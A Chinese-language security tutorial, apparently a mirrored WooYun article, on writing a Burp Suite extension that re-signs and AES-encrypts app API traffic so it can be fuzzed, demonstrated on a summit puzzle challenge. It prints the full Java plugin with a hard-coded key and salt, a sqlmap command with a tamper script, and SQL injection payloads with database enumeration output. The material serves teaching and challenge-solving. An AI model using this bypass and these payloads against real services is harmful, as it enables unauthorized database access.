簽名加密破除-burp外掛在app介面fuzz中的運用

wyzsk發表於2020-08-19
作者: 瘦蛟舞 · 2016/06/22 15:01

0x00 引子


文章本是計劃在五月完成,由於一直沒有合適放出的案例導致此計劃一直擱淺。巧遇烏雲峰會puzzle,於是出了一道相關的題目,順便放出此文以供大家交流學習。

峰會題目地址傳送門:

http://summit.wooyun.org/2016/puzzle.html

0x01 初出茅廬


隨著時間的推進,攻防兩端的進步。越來越多的開發者選擇在app的通訊中加入加密和簽名機制以提高整體的安全性,這種做法確實是提高攻擊以及漏洞挖掘的門檻,而如何跨過這個門檻就是本文的中心內容。

加解密相關的內容可以參考下文:

/tips/?id=6049

你是否在測試過程中遇到這樣的困惑?

你是否在抓到這樣的包後一臉萌比?

要解決這些問題,簡單來說就是需要一箇中轉指令碼來進行加解密和恢復簽名的操作。主站現在已經有些案例利用到這個小技巧。

WooYun: 媽媽圈app簽名自動修復fuzz服務端漏洞

WooYun: Zealer_android客戶端安全檢測(從脫殼到burp自動加解密外掛案例/SQL隱碼攻擊/邏輯漏洞/附AES加解密指令碼POC)

0x02 嶄露頭角


我這裡選擇利用burp的外掛來完成這個指令碼,選擇burp的優勢是可以做一些掃描也可以結合其他工具比如sqlmap組合攻擊。我學習這個外掛的寫法是透過看官方示例程式碼和api,以及在github上搜尋相關程式碼。

https://portswigger.net/burp/extender/

https://portswigger.net/burp/extender/api/index.html

https://github.com/search?q=IBurpExtender&type=Code&utf8=%E2%9C%93

drops上也有幾篇文章寫的非常不錯。

/papers/?id=3962

/tools/?id=14040

/tools/?id=14685

/tools/?id=16056

這裡最簡化的處理流程,只需要掌握外掛的基本的寫法和IHttpListener、IExtensionHelpers、IBurpExtenderCallbacks這幾個關鍵介面。

  1. 實現IHttpListener介面,重寫processHttpMessage方法
  2. 註冊IHttpListener介面,callbacks.registerHttpListener(this);
  3. 在processHttpMessage方法中對請求響應包進行加解密以及恢復簽名操作。

關鍵方法1:傳送http請求和接受http響應的時候被呼叫

void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo);
引數 描述
toolFlag 用於burp tool判斷是否發出請求的flag
messageIsRequest 判斷區分請求還是響應的flag
messageInfo http包的具體細節,可以從中取得請求或者響應包的二進位制流

關鍵方法2:分析處理http請求

IRequestInfo analyzeRequest(IHttpService httpService, byte[] request);
引數 描述
httpService 請求服務相關包括host/method等資訊,可以設定為空
request 待分析的requst二進位制流
return IRequestInfo包含requst的各種細節,可以取出parameter/header等

關鍵方法3:透過制定headers和body重組http訊息

byte[] buildHttpMessage(List<String> headers, byte[] body);
引數 描述
headers http請求頭
body http請求body
return http message二進位制流

起初計劃是做成通用外掛的,還是透過分析了一些app梳理這個通用外掛所要提供的diy項後為放棄了。個人覺得這麼複雜的選項(還要求有逆向基礎)實在是不如改外掛程式碼來的快。

  1. 需要提供的 editor

    • host/port/protocol填寫, host : [ z.cn ]
    • 演算法選擇 , hash : [ md5/sha256.... ]
    • 是否排序Map sort, sort : [ Y ]
    • 簽名引數填寫, key : [ sign ]
    • 鹽值填寫,salt : []
    • 需要替換的引數 param1/param2 : [] , 替換後引數的內容 value : []
    • 需要拼接的引數, key/value ,其中 key 是否需要拼接.
    • 是否拼接 uri
    • 拼接前是否大小寫轉換...
  2. 支援的 hash / 加密演算法

    • md5 : encode16 / encode32
    • sha : sha1 / sha256
    • encrytion : aes/des/rsa...
  3. 後續需加入的功能

    • 支援更多編碼: hex / unicode /base64
    • 支援時間戳修正: timestamp

0x03 你的劍就是我的劍


掌握burp外掛的寫法後需要繼續分析客戶的加密和簽名演算法,這裡也可以選擇用cydia的外掛Introspy來完成加密演算法的分析。

得出加密採用AES/ECB/PKCS5Padding,金鑰寫在native中。

簽名採用md5,salt同樣寫在native中。

簡單看下so就有aes金鑰和hash的salt了,同時這兩個也是part1和part2.

現階段在沒有外掛的條件下我們就可以手動用util類進行解密和資料篡改了。

請求body密文

D7A0B5D14A27FB858F62C66CCFA533FE7213566B6D50DF5FF19CE796FECE12D074B0E931907958D14F4CD6BE90D4BCB4E1225BD3C530FB6B00BFC810942CC845

解密後為

id=3&sign=3012fa31b42aa09a032db0f23d522bcf&dateline=1466505472

響應body密文

d9e128643d46562942c62de2e81dd1f34b50dcb0b9853f0ad67000bfeb34e347

解密後為

data: third data

0x04 弱點選破

結合破解到演算法我們現在就可以寫出這個中轉外掛了。

攔截客戶端請求requst -> 提取引數,修復簽名 -> aes加密後傳送 -> 攔截服務端響應response -> aes解密

#!java
public class BurpExtender implements IBurpExtender, IHttpListener, IMessageEditorTabFactory {

    private static final String HOST = "sangebaimao.com";
    private static final String mSign = "sign";
    public static final String salt = "3edczxcv";
    public static final String key = "[email protected]";
    private IExtensionHelpers helpers;
    private IBurpExtenderCallbacks mCallbacks;

    //
    // implement IBurpExtender
    //

    @Override
    public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {
        // obtain an extension helpers object
        helpers = callbacks.getHelpers();
        // set our extension name
        callbacks.setExtensionName("WY summit");
        // register ourselves as an HTTP listener
        callbacks.registerHttpListener(this);
//        callbacks.issueAlert("loaded success");
        mCallbacks = callbacks;
    }

    //
    // implement IHttpListener
    //


    @Override
    public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo) {

        IHttpService httpService = messageInfo.getHttpService();

        if (messageIsRequest && httpService.getHost().endsWith(HOST)) {

            byte[] req = messageInfo.getRequest();
            IRequestInfo reqInfo = helpers.analyzeRequest(httpService, req);

            String path = reqInfo.getUrl().getPath();
            String method = reqInfo.getMethod();
            String payload = "";
            List<IParameter> param = reqInfo.getParameters();
            //PATCH method can not get parmaters
//            for (IParameter tmp:param) {
//
//                Util.log(mCallbacks,tmp.getName()+":"+tmp.getValue());
//
//            }
            String reqStr = new String(messageInfo.getRequest());
            String messageBody = reqStr.substring(reqInfo.getBodyOffset());
            payload = messageBody.substring(3);
            payload = helpers.urlDecode(payload);
            String data = "id="+payload+"&sign="+Util.md5(payload+salt);
            String sec = Util.aesEncode(key,data);
//            Util.log(mCallbacks,"data:"+data+"\nsec:"+sec);
            req = helpers.buildHttpMessage(reqInfo.getHeaders(),helpers.stringToBytes(sec));
            messageInfo.setRequest(req);

        }else {
            byte[] response = messageInfo.getResponse();
            IResponseInfo respInfo = helpers.analyzeResponse(response);
            int offset = respInfo.getBodyOffset();
            String body = helpers.bytesToString(response).substring(offset);
            String plantext = Util.aesDecode(key,body);
            messageInfo.setResponse(helpers.stringToBytes(plantext));
        }

    }
}

外掛build後載入到burp中enable,再將sqlmap的流量代理到burp中,因為這個注入還有一個坑就是將space空格給替換了,所以這裡加入一個tamper指令碼來繞過這個filter機制。

sqlmap -r ~/Documents/cracksql.txt --proxy http://127.0.0.1:8080 --tamper space2hash.py

sqlmap identified the following injection point(s) with a total of 78 HTTP(s) requests:
---
Parameter: id (PATCH)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 3122=3122

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))GVuA)

    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: id=-5803 UNION ALL SELECT NULL,CONCAT(0x716a6a7871,0x647970627157614649706c49466f647248475a6f6f66555977736d644845537976796a696c645953,0x7171707171)#
---
back-end DBMS: MySQL 5.0.12
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (PATCH)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 3122=3122

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: id=1 AND (SELECT * FROM (SELECT(SLEEP(5)))GVuA)

    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: id=-5803 UNION ALL SELECT NULL,CONCAT(0x716a6a7871,0x647970627157614649706c49466f647248475a6f6f66555977736d644845537976796a696c645953,0x7171707171)#
---
back-end DBMS: MySQL 5.0.12
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sangebaimao

這裡如果不解密響應包的話就不能用UNION query來快速查庫了,part3就在這個庫裡面。

0xff 歸隱江湖

  1. burp不會判斷重複外掛,載入新外掛的時候記得移除老版本外掛
  2. 外掛執行順序按照ui上顯示的順序,可以使用down/up調整
  3. 對method區分比較清楚,如果遇到post請求中url中也帶有引數需要注意,當然一些奇怪的method處理起來也需要點變通
  4. output如果輸入內容較多ui顯示不全,可以選擇output to system console,然後去terminal中檢視
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章